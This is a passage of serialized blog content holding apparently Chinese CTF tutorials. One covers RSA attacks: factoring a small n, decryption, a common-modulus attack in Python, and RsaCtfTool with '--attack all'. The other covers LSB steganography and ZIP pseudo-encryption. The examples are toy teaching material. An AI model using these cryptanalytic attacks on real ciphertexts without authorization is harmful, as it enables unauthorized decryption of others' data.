factorint\n\nprint(factorint(3233))\n",[19,10776,10777,10782,10786],{"__ignoreMap":107},[111,10778,10779],{"class":113,"line":114},[111,10780,10781],{},"from sympy import factorint\n",[111,10783,10784],{"class":113,"line":140},[111,10785,452],{"emptyLinePlaceholder":451},[111,10787,10788],{"class":113,"line":448},[111,10789,10790],{},"print(factorint(3233))\n",[15,10792,185],{},[102,10794,10797],{"className":10795,"code":10796,"language":191,"meta":107},[189],"{53: 1, 61: 1}\n",[19,10798,10796],{"__ignoreMap":107},[15,10800,10801,10802,27],{},"得到 ",[19,10803,10804],{},"p=53, q=61",[154,10806,10808],{"id":10807},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,10810,10811,10813],{},[24,10812,292],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[102,10815,10817],{"className":431,"code":10816,"language":433,"meta":107,"style":107},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[19,10818,10819,10824,10829,10833,10838,10843,10848,10853,10857,10861,10865,10870,10875,10879,10884,10889,10894],{"__ignoreMap":107},[111,10820,10821],{"class":113,"line":114},[111,10822,10823],{},"from Crypto.Util.number import long_to_bytes\n",[111,10825,10826],{"class":113,"line":140},[111,10827,10828],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[111,10830,10831],{"class":113,"line":448},[111,10832,452],{"emptyLinePlaceholder":451},[111,10834,10835],{"class":113,"line":455},[111,10836,10837],{},"n = 3233\n",[111,10839,10840],{"class":113,"line":461},[111,10841,10842],{},"e = 17\n",[111,10844,10845],{"class":113,"line":467},[111,10846,10847],{},"c = 2790\n",[111,10849,10850],{"class":113,"line":473},[111,10851,10852],{},"p, q = 53, 61\n",[111,10854,10855],{"class":113,"line":479},[111,10856,452],{"emptyLinePlaceholder":451},[111,10858,10859],{"class":113,"line":484},[111,10860,10674],{},[111,10862,10863],{"class":113,"line":490},[111,10864,10684],{},[111,10866,10867],{"class":113,"line":496},[111,10868,10869],{},"m = pow(c, d, n)\n",[111,10871,10872],{"class":113,"line":502},[111,10873,10874],{},"# 解密：m = c^d mod n。\n",[111,10876,10877],{"class":113,"line":508},[111,10878,452],{"emptyLinePlaceholder":451},[111,10880,10881],{"class":113,"line":514},[111,10882,10883],{},"print(\"m =\", m)\n",[111,10885,10886],{"class":113,"line":520},[111,10887,10888],{},"print(long_to_bytes(m))\n",[111,10890,10891],{"class":113,"line":526},[111,10892,10893],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[111,10895,10896],{"class":113,"line":532},[111,10897,10898],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,10900,185],{},[102,10902,10905],{"className":10903,"code":10904,"language":191,"meta":107},[189],"m = 65\nb'A'\n",[19,10906,10904],{"__ignoreMap":107},[15,10908,10909,10912,10913,10915],{},[19,10910,10911],{},"65"," 对应的 ASCII 字符是 ",[19,10914,2897],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[154,10917,10919],{"id":10918},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,10921,10922,10923,10927],{},"如果 n 太大本地分解不动，去 ",[3473,10924,10925],{"href":10925,"rel":10926},"https://factordb.com",[3477]," 粘贴 n 查询，或：",[102,10929,10931],{"className":431,"code":10930,"language":433,"meta":107,"style":107},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[19,10932,10933,10938,10942,10947,10952],{"__ignoreMap":107},[111,10934,10935],{"class":113,"line":114},[111,10936,10937],{},"from factordb.factordb import FactorDB\n",[111,10939,10940],{"class":113,"line":140},[111,10941,452],{"emptyLinePlaceholder":451},[111,10943,10944],{"class":113,"line":448},[111,10945,10946],{},"f = FactorDB(n)\n",[111,10948,10949],{"class":113,"line":455},[111,10950,10951],{},"f.connect()\n",[111,10953,10954],{"class":113,"line":461},[111,10955,10956],{},"p, q = f.get_factor_list()\n",[10,10958,10960],{"id":10959},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[154,10962,10964],{"id":10963},"_61-场景","6.1 场景",[15,10966,10967,10968,10970,10971,10974],{},"同一个 ",[19,10969,10582],{},"、两个互质的 ",[19,10972,10973],{},"e1, e2","、同一明文：",[102,10976,10979],{"className":10977,"code":10978,"language":191,"meta":107},[189],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[19,10980,10978],{"__ignoreMap":107},[154,10982,10984],{"id":10983},"_62-数学原理","6.2 数学原理",[15,10986,10987,10989],{},[24,10988,162],{},"：理解为什么\"两个密文能拼出明文\"。",[15,10991,10992,10994],{},[24,10993,292],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,10996,10997,10998,11001],{},"扩展欧几里得算法求出 ",[19,10999,11000],{},"a, b"," 使：",[102,11003,11006],{"className":11004,"code":11005,"language":191,"meta":107},[189],"a × e1 + b × e2 = 1\n",[19,11007,11005],{"__ignoreMap":107},[15,11009,11010],{},"则：",[102,11012,11015],{"className":11013,"code":11014,"language":191,"meta":107},[189],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[19,11016,11014],{"__ignoreMap":107},[154,11018,11020],{"id":11019},"_63-完整代码","6.3 完整代码",[102,11022,11024],{"className":431,"code":11023,"language":433,"meta":107,"style":107},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[19,11025,11026,11031,11036,11041,11046,11051,11056,11060,11064,11069,11073,11078,11083,11087,11092,11097,11102,11107,11111,11116,11121,11126,11131,11136,11141,11146,11151,11155,11160,11164,11169,11174,11179],{"__ignoreMap":107},[111,11027,11028],{"class":113,"line":114},[111,11029,11030],{},"def egcd(a, b):\n",[111,11032,11033],{"class":113,"line":140},[111,11034,11035],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[111,11037,11038],{"class":113,"line":448},[111,11039,11040],{},"    if b == 0:\n",[111,11042,11043],{"class":113,"line":455},[111,11044,11045],{},"        return a, 1, 0\n",[111,11047,11048],{"class":113,"line":461},[111,11049,11050],{},"    g, x, y = egcd(b, a % b)\n",[111,11052,11053],{"class":113,"line":467},[111,11054,11055],{},"    return g, y, x - (a // b) * y\n",[111,11057,11058],{"class":113,"line":473},[111,11059,452],{"emptyLinePlaceholder":451},[111,11061,11062],{"class":113,"line":479},[111,11063,10837],{},[111,11065,11066],{"class":113,"line":484},[111,11067,11068],{},"e1, e2 = 17, 19\n",[111,11070,11071],{"class":113,"line":490},[111,11072,10698],{},[111,11074,11075],{"class":113,"line":496},[111,11076,11077],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[111,11079,11080],{"class":113,"line":502},[111,11081,11082],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[111,11084,11085],{"class":113,"line":508},[111,11086,452],{"emptyLinePlaceholder":451},[111,11088,11089],{"class":113,"line":514},[111,11090,11091],{},"_, a, b = egcd(e1, e2)\n",[111,11093,11094],{"class":113,"line":520},[111,11095,11096],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[111,11098,11099],{"class":113,"line":526},[111,11100,11101],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[111,11103,11104],{"class":113,"line":532},[111,11105,11106],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[111,11108,11109],{"class":113,"line":537},[111,11110,452],{"emptyLinePlaceholder":451},[111,11112,11113],{"class":113,"line":543},[111,11114,11115],{},"# 负指数要先取模逆元\n",[111,11117,11118],{"class":113,"line":549},[111,11119,11120],{},"if a \u003C 0:\n",[111,11122,11123],{"class":113,"line":555},[111,11124,11125],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[111,11127,11128],{"class":113,"line":561},[111,11129,11130],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[111,11132,11133],{"class":113,"line":567},[111,11134,11135],{},"else:\n",[111,11137,11138],{"class":113,"line":573},[111,11139,11140],{},"    c1 = pow(c1, a, n)\n",[111,11142,11143],{"class":113,"line":579},[111,11144,11145],{},"if b \u003C 0:\n",[111,11147,11148],{"class":113,"line":584},[111,11149,11150],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[111,11152,11153],{"class":113,"line":590},[111,11154,11135],{},[111,11156,11157],{"class":113,"line":596},[111,11158,11159],{},"    c2 = pow(c2, b, n)\n",[111,11161,11162],{"class":113,"line":601},[111,11163,452],{"emptyLinePlaceholder":451},[111,11165,11166],{"class":113,"line":607},[111,11167,11168],{},"recovered = (c1 * c2) % n\n",[111,11170,11171],{"class":113,"line":613},[111,11172,11173],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[111,11175,11176],{"class":113,"line":619},[111,11177,11178],{},"print(\"恢复 m =\", recovered)\n",[111,11180,11181],{"class":113,"line":625},[111,11182,11183],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11185,185],{},[102,11187,11190],{"className":11188,"code":11189,"language":191,"meta":107},[189],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[19,11191,11189],{"__ignoreMap":107},[10,11193,11195],{"id":11194},"七其他常见攻击速查","七、其他常见攻击速查",[32,11197,11198,11208],{},[35,11199,11200],{},[38,11201,11202,11205],{},[41,11203,11204],{},"场景",[41,11206,11207],{},"攻击",[51,11209,11210,11228,11236,11244,11252],{},[38,11211,11212,11221],{},[56,11213,11214,11217,11218],{},[19,11215,11216],{},"e=3"," 且 ",[19,11219,11220],{},"m^e \u003C n",[56,11222,11223,11224,11227],{},"直接开立方根（",[19,11225,11226],{},"gmpy2.iroot(c, 3)","）",[38,11229,11230,11233],{},[56,11231,11232],{},"同一明文发给 3 个不同 n",[56,11234,11235],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[38,11237,11238,11241],{},[56,11239,11240],{},"e 特别大（d 很小）",[56,11242,11243],{},"Wiener 攻击（连分数）",[38,11245,11246,11249],{},[56,11247,11248],{},"p、q 很接近",[56,11250,11251],{},"Fermat 分解（平方差）",[38,11253,11254,11257],{},[56,11255,11256],{},"泄露 dp",[56,11258,11259,11260],{},"枚举 k，",[19,11261,11262],{},"p = (e*dp-1)//k + 1",[10,11264,3005],{"id":3004},[32,11266,11267,11277],{},[35,11268,11269],{},[38,11270,11271,11273,11275],{},[41,11272,872],{},[41,11274,3016],{},[41,11276,3019],{},[51,11278,11279,11297,11313],{},[38,11280,11281,11284,11295],{},[56,11282,11283],{},"pycryptodome",[56,11285,11286,918,11289,918,11292],{},[19,11287,11288],{},"long_to_bytes",[19,11290,11291],{},"inverse",[19,11293,11294],{},"pow(m,e,n)",[56,11296,3048],{},[38,11298,11299,11302,11308],{},[56,11300,11301],{},"sympy",[56,11303,11304,11307],{},[19,11305,11306],{},"factorint"," 分解",[56,11309,11310],{},[19,11311,11312],{},"factorint(3233)",[38,11314,11315,11318,11321],{},[56,11316,11317],{},"RsaCtfTool",[56,11319,11320],{},"自动尝试多种攻击、从公钥文件读取",[56,11322,11323],{},[19,11324,11325],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11327,11328,11329,11334],{},"FactorDB（",[3473,11330,11333],{"href":11331,"rel":11332},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3477],"https://factordb.com）用于查"," n 的已知分解。",[10,11336,10434],{"id":10433},[15,11338,946],{},[102,11340,11343],{"className":11341,"code":11342,"language":191,"meta":107},[189],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[19,11344,11342],{"__ignoreMap":107},[15,11346,11347],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[154,11349,11351],{"id":11350},"第一步分解","第一步：分解",[15,11353,11354,11356],{},[24,11355,292],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[102,11358,11360],{"className":431,"code":11359,"language":433,"meta":107,"style":107},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[19,11361,11362,11366],{"__ignoreMap":107},[111,11363,11364],{"class":113,"line":114},[111,11365,10781],{},[111,11367,11368],{"class":113,"line":140},[111,11369,11370],{},"print(factorint(1000000016000000063))\n",[15,11372,185],{},[102,11374,11377],{"className":11375,"code":11376,"language":191,"meta":107},[189],"{1000000007: 1, 1000000009: 1}\n",[19,11378,11376],{"__ignoreMap":107},[154,11380,11382],{"id":11381},"第二步解密","第二步：解密",[15,11384,11385,11387,11388,11391],{},[24,11386,292],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[19,11389,11390],{},"b'flag'"," 说明解密成功。",[102,11393,11395],{"className":431,"code":11394,"language":433,"meta":107,"style":107},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[19,11396,11397,11401,11405,11410,11415,11420,11425,11429,11433,11437],{"__ignoreMap":107},[111,11398,11399],{"class":113,"line":114},[111,11400,10823],{},[111,11402,11403],{"class":113,"line":140},[111,11404,452],{"emptyLinePlaceholder":451},[111,11406,11407],{"class":113,"line":448},[111,11408,11409],{},"n = 1000000016000000063\n",[111,11411,11412],{"class":113,"line":455},[111,11413,11414],{},"e = 65537\n",[111,11416,11417],{"class":113,"line":461},[111,11418,11419],{},"c = 856868007642616233\n",[111,11421,11422],{"class":113,"line":467},[111,11423,11424],{},"p, q = 1000000007, 1000000009\n",[111,11426,11427],{"class":113,"line":473},[111,11428,452],{"emptyLinePlaceholder":451},[111,11430,11431],{"class":113,"line":479},[111,11432,10674],{},[111,11434,11435],{"class":113,"line":484},[111,11436,10684],{},[111,11438,11439],{"class":113,"line":490},[111,11440,11441],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11443,185],{},[102,11445,11448],{"className":11446,"code":11447,"language":191,"meta":107},[189],"b'flag'\n",[19,11449,11447],{"__ignoreMap":107},[154,11451,11453],{"id":11452},"第三步工具验证","第三步：工具验证",[102,11455,11457],{"className":104,"code":11456,"language":106,"meta":107,"style":107},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[19,11458,11459],{"__ignoreMap":107},[111,11460,11461,11464,11466,11469,11471,11474,11477,11480,11483],{"class":113,"line":114},[111,11462,11463],{"class":117},"./RsaCtfTool.py",[111,11465,1266],{"class":248},[111,11467,11468],{"class":248}," 1000000016000000063",[111,11470,372],{"class":248},[111,11472,11473],{"class":248}," 65537",[111,11475,11476],{"class":248}," --uncipher",[111,11478,11479],{"class":248}," 856868007642616233",[111,11481,11482],{"class":248}," --attack",[111,11484,11485],{"class":121}," all\n",[10,11487,3198],{"id":3197},[15,11489,11490,11491,11494],{},"RSA 解题顺序：",[24,11492,11493],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1035,11496,4214],{},{"title":107,"searchDepth":140,"depth":140,"links":11498},[11499,11500,11501,11502,11503,11504,11505,11506,11507,11508],{"id":10546,"depth":448,"text":10547},{"id":99,"depth":448,"text":100},{"id":10610,"depth":448,"text":10611},{"id":10638,"depth":448,"text":10639},{"id":10756,"depth":448,"text":10757},{"id":10959,"depth":448,"text":10960},{"id":11194,"depth":448,"text":11195},{"id":3004,"depth":448,"text":3005},{"id":10433,"depth":448,"text":10434},{"id":3197,"depth":448,"text":3198},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1051,"image":8397,"alt":11511,"tags":11512,"published":451},"RSA 深入实战",[1055,4230,11513,2357],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10541,"description":11509},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11519,"title":11520,"body":11521,"description":12531,"extension":1049,"meta":12532,"navigation":451,"ogImage":3228,"path":12536,"seo":12537,"stem":12538,"__hash__":12539},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11522,"toc":12521},[11523,11527,11533,11535,11569,11573,11577,11580,11586,11590,11595,11742,11752,11756,11761,11766,11869,11871,11876,11880,11893,11899,11903,11908,11913,11917,11920,11926,11933,11937,11942,11980,11982,11988,11991,11997,12001,12006,12063,12066,12072,12075,12113,12115,12121,12124,12128,12137,12192,12194,12200,12207,12211,12216,12221,12224,12322,12329,12335,12346,12348,12413,12417,12422,12427,12431,12433,12473,12476,12481,12487,12502,12505,12507,12518],[10,11524,11526],{"id":11525},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11528,11529,11530,11532],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[19,11531,91],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11534,100],{"id":99},[102,11536,11538],{"className":104,"code":11537,"language":106,"meta":107,"style":107},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[19,11539,11540,11553,11561],{"__ignoreMap":107},[111,11541,11542,11544,11546,11548,11550],{"class":113,"line":114},[111,11543,118],{"class":117},[111,11545,122],{"class":121},[111,11547,125],{"class":121},[111,11549,128],{"class":121},[111,11551,11552],{"class":121}," binwalk\n",[111,11554,11555,11557,11559],{"class":113,"line":140},[111,11556,143],{"class":117},[111,11558,122],{"class":121},[111,11560,148],{"class":121},[111,11562,11563,11565,11567],{"class":113,"line":448},[111,11564,838],{"class":117},[111,11566,122],{"class":121},[111,11568,843],{"class":121},[10,11570,11572],{"id":11571},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[154,11574,11576],{"id":11575},"_31-原理","3.1 原理",[15,11578,11579],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[102,11581,11584],{"className":11582,"code":11583,"language":191,"meta":107},[189],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[19,11585,11583],{"__ignoreMap":107},[154,11587,11589],{"id":11588},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11591,11592,11594],{},[24,11593,162],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[102,11596,11598],{"className":431,"code":11597,"language":433,"meta":107,"style":107},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[19,11599,11600,11604,11609,11613,11617,11622,11626,11630,11634,11639,11643,11648,11652,11657,11661,11665,11669,11673,11677,11681,11686,11690,11694,11699,11703,11707,11712,11716,11720,11724,11729,11733,11738],{"__ignoreMap":107},[111,11601,11602],{"class":113,"line":114},[111,11603,440],{},[111,11605,11606],{"class":113,"line":140},[111,11607,11608],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[111,11610,11611],{"class":113,"line":448},[111,11612,452],{"emptyLinePlaceholder":451},[111,11614,11615],{"class":113,"line":455},[111,11616,458],{},[111,11618,11619],{"class":113,"line":461},[111,11620,11621],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[111,11623,11624],{"class":113,"line":467},[111,11625,476],{},[111,11627,11628],{"class":113,"line":473},[111,11629,452],{"emptyLinePlaceholder":451},[111,11631,11632],{"class":113,"line":479},[111,11633,487],{},[111,11635,11636],{"class":113,"line":484},[111,11637,11638],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[111,11640,11641],{"class":113,"line":490},[111,11642,505],{},[111,11644,11645],{"class":113,"line":496},[111,11646,11647],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[111,11649,11650],{"class":113,"line":502},[111,11651,523],{},[111,11653,11654],{"class":113,"line":508},[111,11655,11656],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[111,11658,11659],{"class":113,"line":514},[111,11660,452],{"emptyLinePlaceholder":451},[111,11662,11663],{"class":113,"line":520},[111,11664,540],{},[111,11666,11667],{"class":113,"line":526},[111,11668,546],{},[111,11670,11671],{"class":113,"line":532},[111,11672,552],{},[111,11674,11675],{"class":113,"line":537},[111,11676,558],{},[111,11678,11679],{"class":113,"line":543},[111,11680,564],{},[111,11682,11683],{"class":113,"line":549},[111,11684,11685],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[111,11687,11688],{"class":113,"line":555},[111,11689,558],{},[111,11691,11692],{"class":113,"line":561},[111,11693,587],{},[111,11695,11696],{"class":113,"line":567},[111,11697,11698],{},"        # 绿色通道，同样处理。\n",[111,11700,11701],{"class":113,"line":573},[111,11702,558],{},[111,11704,11705],{"class":113,"line":579},[111,11706,604],{},[111,11708,11709],{"class":113,"line":584},[111,11710,11711],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[111,11713,11714],{"class":113,"line":590},[111,11715,616],{},[111,11717,11718],{"class":113,"line":596},[111,11719,452],{"emptyLinePlaceholder":451},[111,11721,11722],{"class":113,"line":601},[111,11723,633],{},[111,11725,11726],{"class":113,"line":607},[111,11727,11728],{},"# putdata()：把修改后的像素写回图片。\n",[111,11730,11731],{"class":113,"line":613},[111,11732,645],{},[111,11734,11735],{"class":113,"line":619},[111,11736,11737],{},"# save()：保存为 PNG。\n",[111,11739,11740],{"class":113,"line":625},[111,11741,657],{},[15,11743,11744,11746,11747,667,11749,11751],{},[19,11745,662],{}," 清零最低位（",[19,11748,666],{},[19,11750,670],{}," 写入。",[154,11753,11755],{"id":11754},"_33-提取解题视角","3.3 提取（解题视角）",[15,11757,11758,11760],{},[24,11759,162],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11762,11763,11765],{},[24,11764,292],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[102,11767,11769],{"className":431,"code":11768,"language":433,"meta":107,"style":107},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[19,11770,11771,11775,11779,11783,11788,11792,11796,11800,11805,11809,11813,11817,11822,11826,11830,11834,11839,11843,11848,11852,11856,11860,11864],{"__ignoreMap":107},[111,11772,11773],{"class":113,"line":114},[111,11774,440],{},[111,11776,11777],{"class":113,"line":140},[111,11778,452],{"emptyLinePlaceholder":451},[111,11780,11781],{"class":113,"line":448},[111,11782,703],{},[111,11784,11785],{"class":113,"line":455},[111,11786,11787],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[111,11789,11790],{"class":113,"line":461},[111,11791,718],{},[111,11793,11794],{"class":113,"line":467},[111,11795,723],{},[111,11797,11798],{"class":113,"line":473},[111,11799,728],{},[111,11801,11802],{"class":113,"line":479},[111,11803,11804],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[111,11806,11807],{"class":113,"line":484},[111,11808,452],{"emptyLinePlaceholder":451},[111,11810,11811],{"class":113,"line":490},[111,11812,747],{},[111,11814,11815],{"class":113,"line":496},[111,11816,752],{},[111,11818,11819],{"class":113,"line":502},[111,11820,11821],{},"    # 每 8 个比特一组，步长为 8。\n",[111,11823,11824],{"class":113,"line":508},[111,11825,762],{},[111,11827,11828],{"class":113,"line":514},[111,11829,767],{},[111,11831,11832],{"class":113,"line":520},[111,11833,772],{},[111,11835,11836],{"class":113,"line":526},[111,11837,11838],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[111,11840,11841],{"class":113,"line":532},[111,11842,787],{},[111,11844,11845],{"class":113,"line":537},[111,11846,11847],{},"        # 字节 0 是隐藏时追加的结束符。\n",[111,11849,11850],{"class":113,"line":543},[111,11851,797],{},[111,11853,11854],{"class":113,"line":549},[111,11855,802],{},[111,11857,11858],{"class":113,"line":555},[111,11859,452],{"emptyLinePlaceholder":451},[111,11861,11862],{"class":113,"line":561},[111,11863,811],{},[111,11865,11866],{"class":113,"line":567},[111,11867,11868],{},"# decode()：字节串解码成字符串。\n",[15,11870,185],{},[102,11872,11874],{"className":11873,"code":822,"language":191,"meta":107},[189],[19,11875,822],{"__ignoreMap":107},[154,11877,11879],{"id":11878},"_34-工具验证","3.4 工具验证",[102,11881,11883],{"className":104,"code":11882,"language":106,"meta":107,"style":107},"zsteg -a hidden.png\n",[19,11884,11885],{"__ignoreMap":107},[111,11886,11887,11889,11891],{"class":113,"line":114},[111,11888,848],{"class":117},[111,11890,851],{"class":248},[111,11892,182],{"class":121},[15,11894,11895,11896,27],{},"预期输出中包含 ",[19,11897,11898],{},"flag{lsb_steganography}",[10,11900,11902],{"id":11901},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,11904,11905,11907],{},[24,11906,162],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,11909,11910,11912],{},[24,11911,292],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[154,11914,11916],{"id":11915},"_41-zip-结构","4.1 ZIP 结构",[15,11918,11919],{},"本地文件头：",[102,11921,11924],{"className":11922,"code":11923,"language":191,"meta":107},[189],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[19,11925,11923],{"__ignoreMap":107},[15,11927,11928,11929,11932],{},"中央目录头（签名 ",[19,11930,11931],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[154,11934,11936],{"id":11935},"_42-生成-zip-并查看结构","4.2 生成 zip 